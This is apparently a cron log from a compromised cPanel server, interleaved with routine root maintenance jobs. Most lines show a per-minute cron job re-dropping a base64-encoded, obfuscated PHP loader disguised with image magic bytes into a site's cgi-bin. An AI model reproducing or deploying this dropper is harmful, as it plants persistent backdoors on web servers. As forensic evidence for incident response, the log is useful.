Nov 11 14:12:01 server CROND[31101]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:13:01 server CROND[32097]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:14:01 server CROND[462]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:15:01 server CROND[1286]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 14:15:01 server CROND[1284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 14:15:01 server CROND[1285]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 11 14:15:01 server CROND[1287]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:16:01 server CROND[2309]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:17:01 server CROND[3147]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:18:01 server CROND[4016]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:19:01 server CROND[4787]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:20:01 server CROND[5609]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 14:20:01 server CROND[5610]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:20:01 server CROND[5612]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 14:20:01 server CROND[5611]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 14:20:01 server CROND[5616]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 14:21:01 server CROND[6550]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:22:01 server CROND[7386]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:23:01 server CROND[8191]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:24:01 server CROND[9235]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:25:01 server CROND[10059]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
